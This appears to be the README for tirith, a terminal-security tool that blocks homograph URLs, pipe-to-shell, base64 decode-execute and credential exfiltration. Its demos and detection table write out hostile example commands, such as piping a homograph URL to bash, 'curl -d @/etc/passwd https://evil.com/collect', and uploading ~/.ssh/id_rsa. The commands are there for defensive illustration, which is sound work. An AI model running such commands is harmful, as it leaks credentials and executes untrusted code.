sheeki03/tirithSegurança de terminal para desenvolvedores e agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, injeção ANSI, payloads ofuscados, exfiltração de dados e habilidades/configurações maliciosas de IA antes que executem.
# tirith
**Seu navegador detectaria isso. Seu terminal não.**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>Projeto open-source independente, com hospedagem apoiada pelo Vercel Open Source Program (Spring 2026 Cohort).</sub>
---
Você consegue identificar a diferença?```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
Você não consegue. Seu terminal também não. Ambos os caracteres `і` são cirílicos (U+0456), não o `i` latino. A segunda URL resolve para o servidor de um atacante. O script é executado antes que você perceba.
Os navegadores resolveram isso anos atrás. Os terminais ainda renderizam Unicode, sequências de escape ANSI e caracteres invisíveis sem questionar. Agentes de IA executam comandos de shell e instalam pacotes sem inspecionar o que há dentro.
**O Tirith fica no portão.** Ele intercepta comandos, conteúdo colado e arquivos verificados em busca de URLs homográficas, payloads ofuscados, exfiltração de credenciais, skills/configs de IA maliciosos e pacotes/domínios/IPs conhecidos como maliciosos de um banco de dados de inteligência de ameaças assinado antes que sejam executados.```bash
brew install tirith
```
Em seguida, ative no perfil do seu shell:```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` detecta automaticamente o seu shell atual (inspeciona o processo pai e recorre a `$SHELL` se necessário). A flag explícita `--shell` só é necessária quando quiser substituir a deteção.
É tudo no que diz respeito à cobertura de shell interativo. Os comandos aceites por esse shell são
verificados enquanto o hook está carregado e saudável; o comportamento exato de bloqueio depende
do shell e do modo. Execute `tirith doctor` após a instalação e atualizações, e
leia [enforcement by shell](#enforcement-by-shell) antes de tratar o hook como
uma fronteira de autorização. Comandos limpos permanecem silenciosos e normalmente seguem o
caminho rápido.
Também disponível via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), e [mais](#install).
---
## Veja a funcionar
**Ataque homográfico, bloqueado antes da execução:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
O comando nunca é executado.
**Pipe-to-shell com URL limpa, avisado, não bloqueado:**```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
Aviso é impresso em stderr. O comando ainda é executado.
**Cadeia de decodificação-execução Base64, bloqueada:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
Também captura cadeias de decodificação através de wrappers sudo/env e PowerShell `-EncodedCommand`.
**Exfiltração de credenciais, bloqueada:**```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
Cobre todas as flags de upload do curl/wget, variáveis de ambiente (`$AWS_SECRET_ACCESS_KEY`) e substituição de comandos.
**Arquivo de skill malicioso, detectado na varredura:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
Examina arquivos JS/Python em busca de payloads ofuscados, execução dinâmica de código e padrões de exfiltração de segredos.
**Comandos normais, invisíveis:**```
$ git status
$ ls -la
$ docker compose up -d
```
Nada. Saída zero. Você esquece que o tirith está em execução.
---
## O que ele detecta
**244 regras de detecção em 35 categorias.**
| Categoria | O que ele impede |
|----------|--------------|
| **Ataques homográficos** | Semelhantes cirílicos/grego em nomes de host, domínios punycode, rótulos de script misto, TLDs semelhantes, domínios confundíveis, detecção de confundíveis em nível de texto (alfanuméricos matemáticos, mesma palavra em script misto) |
| **Injeção em terminal** | Sequências de escape ANSI, sobrescritas bidi, caracteres de largura zero, tags unicode, operadores matemáticos invisíveis, seletores de variação, preenchedores Hangul |
| **Defesa contra esteganografia** | Codificação invisível em espaços em branco (12 variantes de espaço Unicode), Separador de Vogal Mongol, caracteres Hangul Filler, substituição alfanumérica matemática, defesas contra esteganografia de texto no estilo st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, além de muitos caminhos de wrapper, decodificação e indireção |
| **Decodificação-execução Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, cadeias de decodificação através de wrappers sudo/env |
| **Exfiltração de dados** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, uploads de variáveis de ambiente (`$AWS_SECRET_ACCESS_KEY`), exfiltração por substituição de comando |
| **Varredura de arquivos de código** | Payloads ofuscados (`eval(atob(...))`), execução dinâmica de código (`exec(b64decode(...))`), exfiltração de segredos via `fetch`/`requests.post` em arquivos JS/Python |
| **Detecção de credenciais** | Chaves AWS, PATs do GitHub, tokens Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocos de chave privada, além de detecção genérica de segredos baseada em entropia |
| **Comportamento pós-comprometimento** | Raspagem de memória de processos (`/proc/*/mem`), escalação de privilégios remota via Docker, varreduras de arquivos de credenciais, calibrado contra ferramentas pós-comprometimento TeamPCP e UNC1069 |
| **Segurança de comandos** | Sobrescritas de dotfiles, extração de arquivos para caminhos sensíveis, acesso a endpoint de metadados de nuvem, acesso a rede privada |
| **Transporte inseguro** | HTTP simples canalizado para shell, `curl -k`, verificação TLS desabilitada, URLs encurtadas ocultando destinos |
| **Ambiente** | Sequestro de proxy, exportações de env sensíveis, injeção de código via env, sequestro de interpretador, env de injeção de shell |
| **Segurança de arquivos de configuração** | Injeção de configuração, indicadores suspeitos, unicode não-ASCII/invisível em configurações, segurança de servidor MCP (inseguro/não confiável/duplicado/permissivo) |
| **Ameaças de ecossistema** | Typosquats de git clone, registros Docker não confiáveis, instalações via URL pip/npm, endpoints RPC web3, vet-not-configured |
| **Segurança de comandos de instalação** | Repositórios APT adicionados a partir de download canalizado, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (verificações de assinatura desabilitadas), `kubectl apply -f` contra manifestos remotos brutos/encurtados, Helm charts de repositórios não confiáveis, módulos Terraform de fontes remotas não confiáveis, `brew install`/`tap` de URLs arbitrárias |
| **Análise de caminho** | Caminhos não-ASCII, homoglifos em caminhos, codificação dupla |
| **Conteúdo renderizado** | Conteúdo oculto em CSS/cor, atributos HTML ocultos, análise de conteúdo de comentários (injeção de prompt em High, comandos destrutivos em Medium) |
| **Detecção de cloaking** | Cloaking do lado do servidor (bot vs navegador), conteúdo oculto na área de transferência, texto oculto em PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusões do Windows Defender (`Add-MpPreference -Exclusion*`), download-execução inline `iex (iwr ...)` |
| **Defesa de saída de terminal** | Escritas na área de transferência OSC 52, prompts falsos, manipulação de hiperlink e título OSC 8 / limpeza de tela, injeção de prompt dentro de saída de comando ou ferramenta MCP (escaneada tanto bruta quanto desofuscada, de modo que evasões com caracteres invisíveis, confundíveis, espaçados, leetspeak e base64 / hex curto também são capturadas), e exfiltração de dados de saída (URLs de beacon ou diretivas "leia um segredo e envie-o") |
| **Contexto operacional** | Comandos destrutivos contra contextos de nuvem / k8s rotulados como prod e hosts SSH, `apply` de Terraform / Pulumi / OpenTofu sem um plano salvo correspondente, escalação sudo arriscada, `docker run` privilegiado |
| **Estação de trabalho e persistência** | Arquivos de credenciais com permissões frouxas e tokens em texto simples (`~/.ssh`, `~/.aws`, `.npmrc`), pontos de apoio de persistência (shell rc, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` do git), ordenação de sequestro de PATH, proveniência de executáveis, aliases arriscados e ciclo de vida de variáveis de ambiente sensíveis |
| **Raio de impacto e correlação** | Exclusões que escapam do repositório, exclusões em massa, execução de arquivos baixados de fontes arriscadas e cadeias de sessão como escrita de segredo seguida de rede ou exclusão seguida de `git push --force` |
| **Confiança, atestação e proveniência** | Incompatibilidade de cartão de comando assinado, toques em honeytoken canário, incompatibilidade de host de origem de colagem, negações de política de origem do chamador (agente), desvio de lockfile MCP e desvio de configuração de IA em relação a um snapshot conhecido como seguro |
| **Guarda de comandos Web3** | Escritas on-chain de comandos Cast / Forge / Hardhat / Solana / Anchor (High quando o mesmo comando também desabilita um controle de segurança declarado), material de chave privada, keypair ou mnemonic bruto na linha de comando, e um endpoint RPC ou signer que a política `web3_guard` do operador não confia. Apenas gramática e política: nenhum estado de cadeia é lido, nenhuma transação é simulada e nenhum endereço é pontuado |
| **Exfiltração de carteira** | Material revisado de carteira, keystore, carteira de navegador e keypair Solana fluindo para um destino remoto comprovado, incluindo saltos de preparação por arquivo, base64, hex, compressor e criptografador e promoção de operandos `xargs` / `find -exec`. Uma leitura apenas de origem deliberadamente não é uma descoberta |
| **Envenenamento de artefatos de CI** | Um workflow alcançável por fork que faz upload de um artefato de build, consumido por um workflow privilegiado `workflow_run` vinculado à execução acionadora que então o executa, obtém como fonte, modifica o PATH, publica ou implanta |
---
## Contra o que o tirith NÃO protege
O Tirith analisa a **estrutura** de comandos, texto colado e arquivos antes
que eles executem. É um portão de pré-execução, não uma defesa em tempo de execução, e não
cobre:
- **Sandboxing geral em tempo de execução:** hooks de shell comuns e `tirith check` avisam
ou bloqueiam; eles não isolam um comando após o lançamento. Os caminhos explícitos
`capsule run --preset untrusted-project` e a aplicação de `pkg install`
fornecem contenção fail-closed apenas em hosts Linux x86_64 suportados.
- **Monitoramento de rede pós-execução:** o que um processo faz na rede após
o lançamento está fora do escopo.
- **Detecção geral de malware / payload:** o tirith não é um antivírus e não
detona um payload. Ele analisa a estrutura e pode corresponder a indicadores exatos
e hashes de artefatos/arquivos do banco de dados de ameaças assinado, mas um
payload desconhecido não é provado benigno pela ausência de correspondência. (`tirith run` verifica
a estrutura de um script baixado; ainda não é análise dinâmica de malware.)
- **Um atacante privilegiado root/admin:** qualquer um que já seja root ou admin pode contornar
o tirith trivialmente. Ele se defende contra entrada enganada, não contra um atacante que já
possui a máquina.
- **Anti-debugging / anti-adulteração:** o tirith não resiste a engenharia reversa
nem protege seu próprio binário de um atacante local.
- **Análise on-chain:** a guarda Web3 lê a gramática de comandos. Ela não lê
estado de cadeia, simula uma transação, resolve ENS, pontua um endereço, audita um
contrato ou observa um mempool.
- **Um firewall de artefatos npm:** o tirith analisa a gramática de comandos npm e fatos de
identidade do registro, e pode perguntar ao próprio npm do projeto seu estado de assinatura e
proveniência. Ele não baixa, extrai, coloca em quarentena ou vincula os
bytes do tarball que o npm instala. O firewall de artefatos contido e fixado por hash é
apenas para Python.
- **Forense ou monitoramento de navegador:** `tirith browser audit` é uma auditoria explícita,
única e somente leitura da integridade de árvores de código-fonte de extensões. Ela nunca lê
cookies, histórico, senhas salvas, armazenamento, bancos de dados de carteira ou `Local
State`, nunca remove ou coloca nada em quarentena e não tem daemon.
- **Builds reproduzíveis:** um recibo `attest` registra o que duas árvores continham
em um momento. O Tirith não executa seu build e não pode afirmar que a saída veio
da fonte. Um recibo de implantação é uma medição pontual, não
monitoramento contínuo.
Veja [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) para o modelo de ameaças completo e
não-objetivos explícitos, e
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) para um
registro capacidade por capacidade do que o tirith detecta, decide, aplica,
contém e atesta.
---
## Limitações conhecidas
- **Fragilidade do hook de shell:** a proteção depende de um hook de shell permanecer instalado
e ativo. Hooks podem quebrar ou degradar silenciosamente entre shells, versões de shell,
frameworks de prompt e ferramentas de histórico. Execute `tirith doctor` para verificar o estado ao vivo
e fique atento à degradação apenas com aviso.
- **Armazenamento temporário cheio ou somente leitura:** zsh e fish capturam entrada através de um
arquivo de rascunho antes de invocar o Tirith e falham fechados quando esse arquivo não pode ser
criado. Um `TMPDIR` cheio/somente leitura pode, portanto, recusar todos os comandos, e
`TIRITH=0` não pode recuperar porque o binário nunca é alcançado. Siga os
passos de recuperação em [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Recursos limitados por plataforma:** o modo daemon, `tirith run` e `tirith fetch`
são superfícies Unix. `tirith run --no-exec` permanece um fluxo de trabalho de inspeção
lá, mas a execução remota de script ao vivo é apenas Linux e recusa antes
do download em todos os outros hosts. `tirith setup` é multiplataforma, enquanto cada
integração de host tem seu próprio contrato de plataforma (por exemplo, Cline tem wrappers
POSIX e Windows; o hook de bloqueio do OpenHands é apenas Unix).
- **Escopo de extração de nomes de pacotes:** cobre ecossistemas de linguagem (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), não gerenciadores de pacotes
de distribuição (`apt`, `dnf`, `yum`, `pacman`).
- **Ressalvas sobre agentes de IA:** a interceptação por hook de shell só protege comandos que passam
por um shell interativo com hook. Um agente que gera um shell não interativo, chama `exec`
diretamente ou executa sem o hook carregado não é coberto
por essa camada. O registro MCP é cooperativo, a menos que as chamadas sejam roteadas
pelo gateway. Um hook pré-ferramenta suportado pode automaticamente retter um
comando do host, mas apenas quando esse host o carregou e o honrou; vários hosts
falham abertos quando um processo de hook dá erro. Verifique o host efetivo, não apenas a
presença de um arquivo de configuração.
- **Comportamento de falha do hook de host:** Grok Build, Cline e OpenHands permitem a
ferramenta quando seu processo de hook trava ou expira. O adaptador do Tirith nega em
seus próprios erros por padrão, mas não pode fazer um host honrar um processo que
não retornou. Execute novamente a configuração se um interpretador fixado se mover e teste o host real
após cada atualização.
- **Prime Agent IPython é extração em nível de código-fonte:** a guarda cobre escapes/magics de shell
e formas comuns de `os`, `subprocess` e `pty.spawn`, mas não é
um sandbox de tempo de execução Python. Um wrapper definido em uma célula anterior,
reflexão como `getattr`/`__import__`, ou um pacote de terceiros que
gera um processo pode escapar do que um lexer de código-fonte pode provar.
- **Custom-DLP e saída de máquina:** `dlp_custom_patterns` amplos podem atualmente
reescrever valores de string pertencentes ao protocolo em projeções JSON/MCP recursivamente redigidas,
incluindo identificadores gerados ou metadados de recibo. Evite
padrões que possam corresponder a valores estruturais ao consumir saída assinada ou
estável para máquina; isso precisa de redação ciente de campo antes do lançamento.
- **Aprovação de instalação não assistida:** `tirith install --yes` é aceito como o
canal `require_approval` não assistido do portão de tarefa do gerenciador de pacotes. É uma
flag explícita do operador, não prova de confirmação humana em TTY. Use uma política de tarefa
de bloqueio onde a execução não assistida deve ser impossível.
- **Vinculação MCP interpretada:** a vinculação exata de servidor interpretado faz hash da
árvore do repositório sob limites fixos em vez de descobrir um verdadeiro fechamento de dependências,
então árvores grandes, symlinks ou arquivos especiais podem recusar o lançamento. Ela
revalida antes do spawn, mas não executa entradas de interpretador a partir de descritores
revisados selados; mutação concorrente do mesmo usuário permanece uma lacuna de verificação até o carregamento.
- **Cobertura do portão de tarefas:** a inferência de efeitos de tarefa modela a gramática de shell Web3
e nada mais, então quase todo comando SHELL comum é relatado
INCOMPLETE. `task_gate.mode: enforce` com `action_incomplete_analysis: block`
recusa esses nos cinco limites que submetem um envelope de shell, e não muda
nada nos quatro limites de pacote e escrita de configuração, que sempre avaliam
como completos. `warn` é o padrão. A alternativa,
`effects_denied_for_untrusted_sources`, nega o efeito nomeado em cada chamada
em cada limite possuído, incluindo comandos que você mesmo digitou, porque nenhuma
fonte nesses limites é jamais tratada como confiável.
- **A contenção é Linux x86_64:** `tirith capsule run --preset
untrusted-project` e a aplicação de `tirith pkg install` são aplicáveis apenas em
Linux x86_64 com uma ABI Landlock utilizável. Todos os outros hosts recusam antes
que qualquer coisa seja copiada ou gerada, sem fallback degradado. A lista de permissões de domínio
não é oferecida por nenhum backend.
- **Lacuna de exfiltração em shell aninhado:** uma leitura sensível dentro de um corpo de shell aninhado
cujo destino está fora dele, como `bash -c "cat <wallet>" | curl -d @- <url>`,
não é correlacionada hoje. A mesma cadeia inteiramente dentro ou inteiramente fora do
corpo `-c` é detectada.
- **Graus de evidência de execução:** um lançamento Linux é confirmado apenas após sua
transição `exec` interrompida, atualização de estado durável, retomada autorizada e
prova do lançador de terminal todas concluídas. Uma chamada de gateway é confirmada apenas por um
resultado correlacionado exato. Observações de shell e chamadas de gateway encaminhadas que
expiram ou são canceladas permanecem evidência não resolvida conservadora, nunca
execução confirmada. Recibos de shell estritos estão disponíveis para bash, zsh e fish
interativos; PowerShell permanece apenas de pré-voo. O comportamento nativo do lançador Linux
deve ser verificado por CI Linux ou um host Linux nativo; nem cobertura portátil
de código-fonte/unitária nem um build macOS podem substituir.
- **Lacunas de cobertura Web3:** `forge create` ainda não está modelado em superfícies de engine;
vários campos declarados de `web3_guard` são analisados mas não aplicados; e
vinculações Web3 de cartão de comando schema-2 ainda não têm um caminho de autoria de CLI ou
consumo de engine ao vivo. Trate isso como lacunas conhecidas, não autorização silenciosa.
---
## Inteligência de ameaças
O Tirith inclui um banco de dados de ameaças local assinado para reputação de pacotes, nomes de host e IPs. Quando um hook de shell ou `tirith check` vê uma instalação de pacote ou referência de infraestrutura suspeita, ele corresponde essa entrada ao banco de dados antes que o comando execute, em vez de depender apenas de heurísticas estáticas.
**DB assinado** (construído por CI, verificado no download e no carregamento):
- Pacotes conhecidos como maliciosos de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) e [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infraestrutura de IP maliciosa de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmados e baselines de pacotes populares de [ecosyste.ms](https://ecosyste.ms/)
- Catálogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) para correlação de avisos em tempo de execução
O ThreatDB v2 adiciona valores exatos de SHA-256 de artefatos, hashes de arquivos instalados,
URLs maliciosas, associação a campanhas e tags de comportamento. O índice assinado,
atualizador, compilador e carregador suportam v1 e v2 durante a transição faseada,
rejeitam rollback de sequência, publicam transacionalmente e retêm um banco de dados
último-conhecido-bom assinado quando uma atualização está incompleta ou inválida. A
fonte DigitalSide está implementada mas intencionalmente inativa até que sua
frescor e contrato operacional sejam aprovados.
**Feeds suplementares opcionais** (sobreposição local do usuário):
- [URLhaus](https://urlhaus.abuse.ch/) e [ThreatFox](https://threatfox.abuse.ch/) via uma chave de autenticação abuse.ch
- Listas de bloqueio [PhishTank](https://phishtank.org/) (Cisco Talos) e [Phishing Army](https://phishing.army/)
- Lista de nós de saída Tor do [Tor Project](https://www.torproject.org/)
**Enriquecimento ao vivo opcional** durante `tirith check` e modo daemon:
- Consultas de avisos [OSV.dev](https://osv.dev/) (Google OSS)
- Sinais de saúde de pacotes [deps.dev](https://deps.dev/) (Google OSS) e dados de mantenedores [ecosyste.ms](https://ecosyste.ms/)
- Reputação de URL do [Google Safe Browsing](https://safebrowsing.google.com/) com sua própria chave de API```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
```
Por padrão, os hooks de shell e `tirith check` disparam uma verificação de atualização em segundo plano de baixo custo a cada 24 horas. O modo daemon mantém o mesmo caminho de enriquecimento ativo em segundo plano.
`threat-db explain` aceita um domínio, um nome de pacote (`name`, `ecosystem:name` ou `name@version`) ou um endereço IPv4. O binário não retém histórico por entrada, portanto `threat-db diff` reporta deltas de categoria e de contagem por fonte entre snapshots, não as entradas exatas alteradas. Todo comando `threat-db` aceita `--format json`; `threatdb` é um alias.
### Pontuação de risco de pacotes
`tirith package risk <ecosystem> <name>` pontua o risco de supply-chain / de mantenedor de um pacote da mesma forma que `tirith score` pontua uma URL, uma **soma determinística e totalmente explicável de fatores nomeados**, sem modelo e sem pesos aprendidos. `tirith package explain <ecosystem> <name>` adiciona a derivação fator a fator; ambos aceitam `--format json`.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
```
**Offline por padrão.** Sem nenhuma flag, todo sinal é local, sem nenhuma chamada de rede: (1) **nome vs. pacotes populares**: conhecido-popular, desconhecido, ou um quase-acerto de uma edição de um nome popular (a clássica forma de typosquat/slopsquat), a partir do conjunto `popular` do banco de dados local de ameaças; (2) **typosquat malicioso conhecido**: uma correspondência exata no índice `typosquat` do banco de dados de ameaças; (3) **scripts de instalação / ciclo de vida** e (4) **blobs binários empacotados**, detectados apenas quando o conteúdo do pacote está disponível localmente (sob `node_modules` / `site-packages`, ou via `--path`). O tirith **nunca baixa** o pacote.
**`--online` adiciona proveniência do registro.** Ele consulta o registro do pacote (npm, PyPI ou crates.io) para seis fatores adicionais no *mesmo* modelo de soma de fatores: idade do pacote/versão, um pacote estabelecido sem proprietários, um pico anormal de versão, downloads muito baixos, um repositório de origem ausente e status yanked/deprecated. É o único caminho no qual o próprio `package risk` acessa a rede; `tirith check` e o modo daemon têm um caminho separado de enriquecimento em tempo de execução controlado por política. `--offline` / `TIRITH_OFFLINE` forçam este scorer a ficar offline independentemente disso. Falhas recorrem à pontuação offline com um honesto `api signals: unavailable`, e as respostas são armazenadas em cache com um TTL para que execuções repetidas não sobrecarreguem os registros.
A pontuação é consultiva e independente: `package risk` não é uma regra de detecção e não altera nenhum veredito, código de saída ou log de auditoria.
### Varredura de ecossistema e risco de dependências
`tirith ecosystem scan [path]` é o companheiro em nível de diretório do `package risk`. Ele percorre um projeto, descobre todo manifesto de dependência que ele entende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), e pontua **toda dependência declarada** com o mesmo motor determinístico de fatores `package_risk`.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
```
**Ele incorpora a detecção de slopsquat.** *Slopsquatting* é o registro de um nome plausível, mas falso, que os LLMs tendem a alucinar como uma dependência. `ecosystem scan` sinaliza um apenas quando **todas as três** condições se verificam: o nome não é conhecido como real ou popular, tem **forma de alucinação de IA** (um prefixo de linguagem como `python-` / `node-` mais tokens descritivos, uma pilha de enchimento genérico como `helper` / `utils` / `client`, ou um nome invulgarmente longo), **e** situa-se perto de um nome popular real (um quase-acerto a uma edição de distância, ou incorpora um nome popular como palavra). Exigir as três mantém os falsos positivos baixos: um `data-utils` honesto sem âncora popular não dispara.
**Offline por predefinição, `--online` opcional.** Os sinais de nome e typosquat vêm da base de dados local de ameaças; `--online` acrescenta proveniência de registo, limitada e degradada exatamente como `package risk --online`. Este sinalizador controla a análise do ecossistema e não altera a política independente de enriquecimento em tempo de execução do `tirith check`. Os resultados fluem através do modelo normal `Verdict` / `Finding` do tirith: explicável (`tirith explain --rule threat_suspicious_package`), registado em auditoria e respeitando a lista de permissões da política (um pacote na lista de permissões, por nome simples ou `ecosystem:name`, é suprimido). Os códigos de saída correspondem a `tirith scan`: `1` para um resultado bloqueante, `2` para consultivo, `0` quando limpo.
Isto ajuda a detetar pacotes conhecidos como maliciosos, typosquats confirmados, nomes de pacotes slopsquatted, infraestrutura de download maliciosa e pacotes com dados de avisos OSV / CISA KEV em tempo real.
### Inspeção de artefactos Python e instalações com imposição
O risco do nome do pacote é apenas uma camada. O Tirith pode inspecionar os bytes Python exatos
que já tem e, em anfitriões suportados, impor um plano de instalação com hash fixado:```bash
# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv
# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests
```
A inspeção cobre a estrutura e a identidade do wheel, a integridade do RECORD e a propriedade de arquivos, hooks de inicialização do Python, extensões nativas ELF/Mach-O/PE, arestas de execução e divisões loader/payload entre distribuições. `pkg graph`, `pkg diff`, `pkg attest` e `pkg receipt` expõem a proveniência correspondente e as evidências de recibo.
O caminho de aplicação suporta **pip apenas em x86_64 Linux** e requer a autoridade nativa documentada, um diretório de destino recém-dedicado e um `uv` nativo totalmente estático registrado. Toda plataforma não suportada falha de forma fechada antes do pip iniciar; nunca recorre a uma instalação comum. npm e Cargo permanecem superfícies de evidência não-aplicáveis. Consulte as
[notas de versão 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) e a
[referência de comandos](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).
**Famílias de ataque para as quais o tirith foi construído** (ilustrativo, não uma alegação de detecção pelo código atual):
| Incidente | Ano | Forma do ataque |
|---|---|---|
```
---
[Read more](https://github.com/sheeki03/tirith)